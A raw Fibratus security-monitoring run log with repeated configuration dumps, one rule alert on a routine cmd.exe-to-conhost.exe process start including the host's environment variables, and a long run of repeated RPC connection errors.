gzip-compression=>false healthcheck-timeout=>5s trace-log=>false healthcheck-interval=>10s enabled=>false healthcheck=>true template-name=>fibratus] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ fastscan=>true excluded-files=>[] skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false scan-timeout=>10s excluded-procs=>[] skip-registry=>false skip-allocs=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:167 +time=2025-11-06T16:55:28+01:00 level=info msg=connecting to the server... source=bootstrap/bootstrap.go:172 +time=2025-11-06T16:56:18+01:00 level=info msg=bootstrapping with pid 8896. Version: dev source=bootstrap/bootstrap.go:166 +time=2025-11-06T16:56:19+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ content-type=>text/html use-template=>true port=>25 to=>[] enabled=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-images=>false] + eventsource .................... [ flush-interval=>1s enable-audit-api=>true max-buffers=>36 enable-threadpool=>false enable-dns=>false enable-registry=>true stack-enrichment=>true enable-thread=>true enable-fileio=>true enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false buffer-size=>512 enable-image=>true enable-handle=>false enable-vamap=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-age=>0 formatter=>text max-size=>100 max-backups=>15 log-stdout=>true] + output ......................... [ http=>[ endpoints=>[] enabled=>false tls-insecure-skip-verify=>false timeout=>5s method=>POST enable-gzip=>false serializer=>json] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] elasticsearch=>[ index-name=>fibratus healthcheck-timeout=>5s healthcheck=>true sniff=>false enabled=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus timeout=>5s bulk-workers=>1 healthcheck-interval=>10s gzip-compression=>false trace-log=>false flush-period=>1s] amqp=>[ routing-key=>fibratus tls-insecure-skip-verify=>false delivery-mode=>transient exchange=>fibratus url=>amqp://localhost:5672 durable=>false passive=>false enabled=>false vhost=>/ exchange-type=>topic timeout=>5s]] + pe ............................. [ read-sections=>false read-resources=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-mmaps=>false scan-timeout=>10s enabled=>false skip-allocs=>false skip-files=>false excluded-files=>[] fastscan=>true skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[]] source=bootstrap/bootstrap.go:167 +time=2025-11-06T16:56:19+01:00 level=info msg=connecting to the server... source=bootstrap/bootstrap.go:172 +time=2025-11-06T16:56:32+01:00 level=info msg=bootstrapping with pid 1204. Version: dev source=bootstrap/bootstrap.go:166 +time=2025-11-06T16:56:32+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html use-template=>true enabled=>false to=>[] port=>25] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-threadpool=>false flush-interval=>1s max-buffers=>36 enable-net=>true enable-thread=>true min-buffers=>16 enable-handle=>false enable-dns=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false buffer-size=>512 stack-enrichment=>true enable-image=>true enable-fileio=>true enable-vamap=>true enable-audit-api=>true enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 level=>info max-age=>0 formatter=>text log-stdout=>true max-backups=>15] + output ......................... [ amqp=>[ durable=>false passive=>false routing-key=>fibratus tls-insecure-skip-verify=>false vhost=>/ exchange=>fibratus enabled=>false timeout=>5s url=>amqp://localhost:5672 exchange-type=>topic delivery-mode=>transient] elasticsearch=>[ healthcheck-interval=>10s sniff=>false template-name=>fibratus index-name=>fibratus healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] flush-period=>1s trace-log=>false healthcheck=>true gzip-compression=>false enabled=>false timeout=>5s bulk-workers=>1] http=>[ enable-gzip=>false serializer=>json enabled=>false endpoints=>[] timeout=>5s tls-insecure-skip-verify=>false method=>POST] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-files=>false fastscan=>true skip-registry=>false scan-timeout=>10s skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] excluded-procs=>[] enabled=>false] source=bootstrap/bootstrap.go:167 +time=2025-11-06T16:56:32+01:00 level=info msg=connecting to the server... source=bootstrap/bootstrap.go:172 +time=2025-11-06T16:56:32+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: false + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess source=bootstrap/bootstrap.go:206 +time=2025-11-06T16:56:33+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:271 +time=2025-11-06T16:56:33+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:271 +time=2025-11-06T16:56:50+01:00 level=info msg=sending alert: [Thread context manipulation from exception handler]. Text: Event(s): + Seq: 358 + Pid: 2932 + Tid: 7384 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-06 16:56:46.9545447 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 478adf000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808f58a63080, name➜ conhost.exe, pid➜ 8744, ppid➜ 2932, real_ppid➜ 2932, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-06 16:56:46.95448 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.name: Thread context manipulation from exception handler + + Pid: 2932 + Ppid: 1196 + Name: cmd.exe + Parent name: explorer.exe + Cmdline: "C:\WINDOWS\system32\cmd.exe" + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\WINDOWS\system32\cmd.exe + Cwd: C:\Users\nedo\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\cmd.exe"] + Session ID: 1 + Envs: map[:C:=C:\Users\nedo ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1196_1262719628:1 EFC_1196_1592913036:1 EFC_1196_2283032206:1 EFC_1196_2775293581:1 EFC_1196_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-11-06T16:58:00+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-06T16:58:00+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:287 +time=2025-11-06T16:58:01+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:287 +time=2025-11-06T16:58:14+01:00 level=info msg=bootstrapping with pid 5380. Version: dev source=bootstrap/bootstrap.go:166 +time=2025-11-06T16:58:14+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ enabled=>false to=>[] content-type=>text/html port=>25 use-template=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-image=>true max-buffers=>36 enable-dns=>false min-buffers=>16 enable-registry=>true enable-handle=>false enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s buffer-size=>512 enable-audit-api=>true enable-threadpool=>false enable-thread=>true enable-mem=>false enable-fileio=>true enable-vamap=>true stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-age=>0 log-stdout=>true max-backups=>15 formatter=>text max-size=>100] + output ......................... [ elasticsearch=>[ timeout=>5s sniff=>false template-name=>fibratus index-name=>fibratus healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] enabled=>false gzip-compression=>false healthcheck=>true bulk-workers=>1 trace-log=>false flush-period=>1s healthcheck-timeout=>5s] eventlog=>[ enabled=>false level=>info] amqp=>[ vhost=>/ enabled=>false durable=>false exchange=>fibratus url=>amqp://localhost:5672 exchange-type=>topic delivery-mode=>transient timeout=>5s tls-insecure-skip-verify=>false passive=>false routing-key=>fibratus] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] http=>[ enabled=>false timeout=>5s tls-insecure-skip-verify=>false method=>POST endpoints=>[] serializer=>json enable-gzip=>false]] + pe ............................. [ read-resources=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false skip-registry=>false excluded-files=>[] fastscan=>true enabled=>false excluded-procs=>[] skip-files=>false] source=bootstrap/bootstrap.go:167 +time=2025-11-06T16:58:14+01:00 level=info msg=connecting to the server... source=bootstrap/bootstrap.go:172 +time=2025-11-06T16:58:14+01:00 level=warning msg=unable to fetch rules from the server: rpc error: code = Unavailable desc = connection error: desc = "transport: Error while dialing: dial tcp 127.0.0.1:8090: connectex: No connection could be made because the target machine actively refused it.". Retrying in 850.759802ms... source=client/rulestore.go:48 +time=2025-11-06T16:58:14+01:00 level=error msg=rpc error: code = Unavailable desc = connection error: desc = "transport: Error while dialing: dial tcp 127.0.0.1:8090: connectex: No connection could be made because the target machine actively refused it." source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:14+01:00 level=error msg= source=rules/loader.go:142 